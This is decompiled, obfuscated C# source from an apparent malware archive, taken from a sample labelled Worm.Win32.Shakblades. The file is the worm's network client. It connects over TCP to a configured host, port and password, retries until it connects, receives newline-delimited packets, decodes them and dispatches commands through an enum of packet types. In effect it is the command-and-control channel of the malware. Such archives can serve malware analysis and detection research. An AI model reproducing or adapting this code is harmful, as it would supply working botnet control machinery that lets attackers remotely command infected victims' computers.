MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f/߶᠟ᒸৃ.cs

259 lines
8.0 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.߶᠟ᒸৃ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.Sockets;
using System.Text;
using System.Threading;
namespace Ҧ߲ʽ
{
internal class \u07F6\u181Fᒸৃ
{
private Socket \u1AF2ۈ\u18ADф٣ɶ̽;
private bool \u10CEಖᠪ;
private Thread \u1775\u197Eᦡગุ\u1879\u0FF1ᡷ;
private Thread \u0C80\u137Cấޖᓨ;
private string \u1C3CНဥƇᔋม;
private int \u1064\u1AFFሒ;
private string ݺۧ;
public \u07F6\u181Fᒸৃ(string Host, int Port, string Password)
{
this.\u1C3CНဥƇᔋม = Host;
this.\u1064\u1AFFሒ = Port;
this.ݺۧ = Password;
this.\u10CEಖᠪ = false;
}
public Socket \u17DFᓫ໋ྡଷ\u0886ᄢᏆ => this.\u1AF2ۈ\u18ADф٣ɶ̽;
public bool \u0557 => this.\u10CEಖᠪ;
public string => this.\u1C3CНဥƇᔋม;
public int \u02D7\u1ADA => this.\u1064\u1AFFሒ;
public string Ѣܵ\u19F8ᗄ => this.ݺۧ;
public void ȷ\u1C8F८() => this.\u1757ਉᡋᤉ();
private void \u1757ਉᡋᤉ()
{
if (this.\u10CEಖᠪ)
return;
this.\u0C80\u137Cấޖᓨ = new Thread((ThreadStart) (() =>
{
this.\u1AF2ۈ\u18ADф٣ɶ̽ = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
while (!this.\u1AF2ۈ\u18ADф٣ɶ̽.Connected)
{
try
{
this.\u1AF2ۈ\u18ADф٣ɶ̽.Connect(this.\u1C3CНဥƇᔋม, this.\u1064\u1AFFሒ);
}
catch
{
Thread.Sleep(TimeSpan.FromSeconds((double) ȩזڹ.\u09F6ϸ));
}
}
this.ٻܸ();
}));
this.\u0C80\u137Cấޖᓨ.Start();
}
private void ٻܸ()
{
if (this.\u10CEಖᠪ)
return;
this.\u10CEಖᠪ = true;
if (this.\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8 == null)
return;
this.\u1C9C\u0CFEʂᮅᄨɭᒨ\u19E8((object) this, (EventArgs) null);
}
public void \u0011ڂʩ\u1AA1\u1C94ᚨ૨()
{
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = new Thread(new ThreadStart(this.\u08D9ጭṺদ\u1CFD\u1716));
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Start();
}
private void \u08D9ጭṺদ\u1CFD\u1716()
{
try
{
MemoryStream ms = new MemoryStream();
byte[] array;
do
{
array = new byte[this.\u1AF2ۈ\u18ADф٣ɶ̽.ReceiveBufferSize];
int num = this.\u1AF2ۈ\u18ADф٣ɶ̽.Receive(array, 0, array.Length, SocketFlags.Partial);
if (num <= 0)
throw new SocketException();
Array.Resize<byte>(ref array, num);
ms.Write(array, 0, num);
}
while (!(char.ConvertFromUtf32((int) array[array.Length - 1]) == "\n"));
ms.Close();
new Thread((ThreadStart) (() =>
{
this.\u0B53ऐࡘ(ms.ToArray());
ms.Dispose();
ms = (MemoryStream) null;
})).Start();
}
catch (SocketException ex)
{
this.Ѥַߣϐ(true);
return;
}
catch (Exception ex)
{
this.Ѥַߣϐ(true);
Console.WriteLine(ex.Message);
}
this.\u08D9ጭṺদ\u1CFD\u1716();
}
private void \u0B53ऐࡘ(byte[] _param1)
{
List<byte> byteList = new List<byte>();
for (int index = 0; index < _param1.Length; ++index)
{
if (char.ConvertFromUtf32((int) _param1[index]) != "\n")
{
byteList.Add(_param1[index]);
}
else
{
this.(byteList.ToArray());
byteList.Clear();
}
}
}
private void (byte[] Ʒ)
{
try
{
MemoryStream memoryStream = new MemoryStream(\u1928ᔾዔ.\u09D1য়᪷(Ʒ, true));
byte[] buffer = new byte[4];
memoryStream.Read(buffer, 0, buffer.Length);
\u07F6\u181Fᒸৃ.ƪ int32 = (\u07F6\u181Fᒸৃ.ƪ) BitConverter.ToInt32(buffer, 0);
byte[] numArray = new byte[memoryStream.Length - 4L];
memoryStream.Read(numArray, 0, numArray.Length);
memoryStream.Close();
memoryStream.Dispose();
if (int32 != \u07F6\u181Fᒸৃ.ƪ.\u07BA)
{
if (this.\u02D2 != null)
this.\u02D2((object) this, new \u05CDᨈكအ\u0FFEན(numArray, numArray.Length, int32));
}
else
this.\u087Cἲ\u1370ኺࣱሤ();
Ʒ = (byte[]) null;
}
catch
{
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
obj.Write("Broken Packet");
this.(new \u09CF(\u07F6\u181Fᒸৃ.ƪ., obj.\u10CEᇥ\u1CA0ฉ()).ڨ());
}
}
public int (byte[] _param1)
{
try
{
int sent = this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(_param1, 0, _param1.Length, SocketFlags.Partial) + this.\u1AF2ۈ\u18ADф٣ɶ̽.Send(this.Ρ, 0, 1, SocketFlags.Partial);
if (this.\u00A8\u0B0E̟\u0B54 != null && sent != 0)
this.\u00A8\u0B0E̟\u0B54((object) this, new \u00B1ჵઆЩɀኤʨՃ(sent));
return sent;
}
catch
{
return 0;
}
}
private byte[] Ρ => Encoding.ASCII.GetBytes("\n");
private void \u087Cἲ\u1370ኺࣱሤ() => this.(new \u09CF(\u07F6\u181Fᒸৃ.ƪ.\u07BA, new byte[0]).ڨ());
public void ӊւΟ\u0095ᠫஷ٤(string _param1)
{
\u0E4Cኘ᳒ধڿቷ\u1373\u09F6 obj = new \u0E4Cኘ᳒ধڿቷ\u1373\u09F6();
obj.Write(_param1);
this.(new \u09CF(\u07F6\u181Fᒸৃ.ƪ., obj.\u10CEᇥ\u1CA0ฉ()).ڨ());
}
public bool Ѥַߣϐ(bool _param1)
{
if (!this.\u10CEಖᠪ)
return false;
this.\u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర();
this.\u10CEಖᠪ = false;
if (_param1 && this.\u0530ӟḍ್් != null)
this.\u0530ӟḍ್්((object) this, (EventArgs) null);
return true;
}
public void \u1A68ᅬ\u0ECEƮÃ̪ᨖ\u1B4Fర()
{
try
{
this.\u1AF2ۈ\u18ADф٣ɶ̽.Close();
this.\u1AF2ۈ\u18ADф٣ɶ̽ = (Socket) null;
}
catch
{
}
try
{
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ.Abort();
this.\u1775\u197Eᦡગุ\u1879\u0FF1ᡷ = (Thread) null;
}
catch
{
}
}
public event EventHandler ƬԀ;
public event EventHandler ȉƯ\u06DE;
public event EventHandler<\u00B1ჵઆЩɀኤʨՃ> \u19EDᡝ;
public event EventHandler<\u05CDᨈكအ\u0FFEན> nᶏ\u0BFD;
public enum ƪ
{
\u0FECᡱ = 0,
\u0F38ླ = 1,
Ù؀ = 2,
= 3,
\u0A5D\u0862Fπ = 4,
= 5,
ٷ = 6,
= 7,
ĺ̠Ê\u0B49 = 8,
عڡ = 9,
ԫЯ = 15, // 0x0000000F
4 = 16, // 0x00000010
\u0D99ᘔߥᗓᆵ = 17, // 0x00000011
ב = 18, // 0x00000012
\u07BA = 19, // 0x00000013
\u0D56ᐁན᱘ = 20, // 0x00000014
= 21, // 0x00000015
Ɠ = 22, // 0x00000016
\u1F16Ʈᝐ\u0F6Dṡ\u0E85 = 23, // 0x00000017
\u0F2EተױၦѶᣔᘬ = 24, // 0x00000018
\u1C92\u193F\u0EFA = 25, // 0x00000019
}
}
}